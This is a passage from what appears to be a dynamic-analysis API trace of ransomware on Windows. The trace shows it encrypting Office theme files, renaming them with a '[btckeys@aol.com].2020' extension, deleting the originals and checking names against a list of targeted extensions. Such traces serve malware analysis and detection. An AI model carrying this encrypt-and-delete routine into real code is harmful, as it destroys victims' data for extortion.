lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x543, lpOverlapped=0x0) returned 1 [0081.078] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0x550, lpOverlapped=0x0) returned 1 [0081.079] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.079] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.079] SetEndOfFile (hFile=0x1e0) returned 1 [0081.080] CloseHandle (hObject=0x1e0) returned 1 [0081.080] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.080] SetEndOfFile (hFile=0x200) returned 1 [0081.081] CloseHandle (hObject=0x200) returned 1 [0081.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.081] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\eclipse\\preview.gif")) returned 1 [0081.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.082] lstrlenW (lpString=".doc") returned 4 [0081.082] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.082] lstrlenW (lpString=".docx") returned 5 [0081.082] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.082] lstrlenW (lpString=".pdf") returned 4 [0081.082] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.082] lstrlenW (lpString=".xls") returned 4 [0081.082] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.082] lstrlenW (lpString=".xlsx") returned 5 [0081.082] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.082] lstrlenW (lpString=".ppt") returned 4 [0081.082] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.082] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.082] lstrlenW (lpString=".zip") returned 4 [0081.082] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.082] lstrlenW (lpString=".rar") returned 4 [0081.082] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.083] lstrlenW (lpString=".bz2") returned 4 [0081.083] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.083] lstrlenW (lpString=".7z") returned 3 [0081.083] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.083] lstrlenW (lpString=".dbf") returned 4 [0081.083] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.083] lstrlenW (lpString=".1cd") returned 4 [0081.083] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.083] lstrlenW (lpString=".jpg") returned 4 [0081.083] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.083] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.083] lstrlenW (lpString=".doc") returned 4 [0081.083] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.083] lstrlenW (lpString=".docx") returned 5 [0081.083] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.083] lstrlenW (lpString=".pdf") returned 4 [0081.083] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.083] lstrlenW (lpString=".xls") returned 4 [0081.083] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.083] lstrlenW (lpString=".xlsx") returned 5 [0081.084] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.084] lstrlenW (lpString=".ppt") returned 4 [0081.084] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.084] lstrlenW (lpString=".zip") returned 4 [0081.084] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.084] lstrlenW (lpString=".rar") returned 4 [0081.084] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.084] lstrlenW (lpString=".bz2") returned 4 [0081.084] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.084] lstrlenW (lpString=".7z") returned 3 [0081.084] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.084] lstrlenW (lpString=".dbf") returned 4 [0081.084] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.084] lstrlenW (lpString=".1cd") returned 4 [0081.084] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.084] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\PREVIEW.GIF") returned 75 [0081.084] lstrlenW (lpString=".jpg") returned 4 [0081.084] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.084] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0081.085] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0081.085] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.087] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=60724) returned 1 [0081.088] CloseHandle (hObject=0x200) returned 1 [0081.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 0x20 [0081.088] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.088] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.088] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.088] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.089] GetLastError () returned 0x0 [0081.089] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0xed34, lpOverlapped=0x0) returned 1 [0081.092] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xed40, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xed40, lpOverlapped=0x0) returned 1 [0081.095] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.095] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xec, lpOverlapped=0x0) returned 1 [0081.095] SetEndOfFile (hFile=0x1e0) returned 1 [0081.104] CloseHandle (hObject=0x1e0) returned 1 [0081.105] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.105] SetEndOfFile (hFile=0x200) returned 1 [0081.106] CloseHandle (hObject=0x200) returned 1 [0081.106] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.107] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\expeditn\\thmbnail.png")) returned 1 [0081.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.107] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.107] lstrlenW (lpString=".doc") returned 4 [0081.107] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.107] lstrlenW (lpString=".docx") returned 5 [0081.107] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.107] lstrlenW (lpString=".pdf") returned 4 [0081.107] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.107] lstrlenW (lpString=".xls") returned 4 [0081.108] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.108] lstrlenW (lpString=".xlsx") returned 5 [0081.108] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.108] lstrlenW (lpString=".ppt") returned 4 [0081.108] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.108] lstrlenW (lpString=".zip") returned 4 [0081.108] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.108] lstrlenW (lpString=".rar") returned 4 [0081.108] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.108] lstrlenW (lpString=".bz2") returned 4 [0081.108] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.108] lstrlenW (lpString=".7z") returned 3 [0081.108] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.108] lstrlenW (lpString=".dbf") returned 4 [0081.108] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.108] lstrlenW (lpString=".1cd") returned 4 [0081.108] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.108] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.108] lstrlenW (lpString=".jpg") returned 4 [0081.108] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.109] lstrlenW (lpString=".doc") returned 4 [0081.109] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0081.109] lstrlenW (lpString=".docx") returned 5 [0081.109] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0081.109] lstrlenW (lpString=".pdf") returned 4 [0081.109] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0081.109] lstrlenW (lpString=".xls") returned 4 [0081.109] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0081.109] lstrlenW (lpString=".xlsx") returned 5 [0081.109] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0081.109] lstrlenW (lpString=".ppt") returned 4 [0081.109] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0081.109] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.109] lstrlenW (lpString=".zip") returned 4 [0081.109] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0081.109] lstrlenW (lpString=".rar") returned 4 [0081.109] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0081.109] lstrlenW (lpString=".bz2") returned 4 [0081.109] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0081.109] lstrlenW (lpString=".7z") returned 3 [0081.109] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0081.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.110] lstrlenW (lpString=".dbf") returned 4 [0081.110] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0081.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.110] lstrlenW (lpString=".1cd") returned 4 [0081.110] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0081.110] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EXPEDITN\\THMBNAIL.PNG") returned 77 [0081.110] lstrlenW (lpString=".jpg") returned 4 [0081.110] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0081.110] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.110] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.110] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.111] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=2552) returned 1 [0081.111] CloseHandle (hObject=0x200) returned 1 [0081.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 0x20 [0081.111] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.111] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.111] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.112] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.112] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0081.337] GetLastError () returned 0x0 [0081.337] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x9f8, lpOverlapped=0x0) returned 1 [0081.350] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xa00, lpOverlapped=0x0) returned 1 [0081.351] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x0, lpOverlapped=0x0) returned 1 [0081.351] WriteFile (in: hFile=0x1e0, lpBuffer=0x3530020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23afc9c, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesWritten=0x23afc9c*=0xea, lpOverlapped=0x0) returned 1 [0081.351] SetEndOfFile (hFile=0x1e0) returned 1 [0081.352] CloseHandle (hObject=0x1e0) returned 1 [0081.352] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.352] SetEndOfFile (hFile=0x200) returned 1 [0081.353] CloseHandle (hObject=0x200) returned 1 [0081.353] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0081.353] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ice\\preview.gif")) returned 1 [0081.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.354] lstrlenW (lpString=".doc") returned 4 [0081.354] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.354] lstrlenW (lpString=".docx") returned 5 [0081.354] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.354] lstrlenW (lpString=".pdf") returned 4 [0081.354] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.354] lstrlenW (lpString=".xls") returned 4 [0081.354] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.354] lstrlenW (lpString=".xlsx") returned 5 [0081.354] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.354] lstrlenW (lpString=".ppt") returned 4 [0081.354] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.354] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.354] lstrlenW (lpString=".zip") returned 4 [0081.354] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.354] lstrlenW (lpString=".rar") returned 4 [0081.354] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.354] lstrlenW (lpString=".bz2") returned 4 [0081.355] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.355] lstrlenW (lpString=".7z") returned 3 [0081.355] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.355] lstrlenW (lpString=".dbf") returned 4 [0081.355] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.355] lstrlenW (lpString=".1cd") returned 4 [0081.355] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.355] lstrlenW (lpString=".jpg") returned 4 [0081.355] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.355] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.355] lstrlenW (lpString=".doc") returned 4 [0081.355] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0081.355] lstrlenW (lpString=".docx") returned 5 [0081.355] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0081.355] lstrlenW (lpString=".pdf") returned 4 [0081.355] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0081.355] lstrlenW (lpString=".xls") returned 4 [0081.355] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0081.355] lstrlenW (lpString=".xlsx") returned 5 [0081.355] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0081.355] lstrlenW (lpString=".ppt") returned 4 [0081.356] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0081.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.356] lstrlenW (lpString=".zip") returned 4 [0081.356] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0081.356] lstrlenW (lpString=".rar") returned 4 [0081.356] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0081.356] lstrlenW (lpString=".bz2") returned 4 [0081.356] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0081.356] lstrlenW (lpString=".7z") returned 3 [0081.356] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0081.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.356] lstrlenW (lpString=".dbf") returned 4 [0081.356] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0081.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.356] lstrlenW (lpString=".1cd") returned 4 [0081.356] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0081.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ICE\\PREVIEW.GIF") returned 71 [0081.356] lstrlenW (lpString=".jpg") returned 4 [0081.356] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0081.356] lstrcmpiW (lpString1=".GIF", lpString2=".2020") returned 1 [0081.356] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0081.357] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.357] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x23aff1c | out: lpFileSize=0x23aff1c*=1659) returned 1 [0081.357] CloseHandle (hObject=0x200) returned 1 [0081.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0081.357] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0081.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0081.358] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.358] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23afec8 | out: lpNewFilePointer=0x0) returned 1 [0081.358] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0081.361] GetLastError () returned 0x0 [0081.361] ReadFile (in: hFile=0x200, lpBuffer=0x3530020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23afed4, lpOverlapped=0x0 | out: lpBuffer=0x3530020*, lpNumberOfBytesRead=0x23afed4*=0x67b, lpOverlapped=0x0) returned 1 [0081.365] WriteFile (in: hFile=0x204, lpBuffer=0x3530020*, 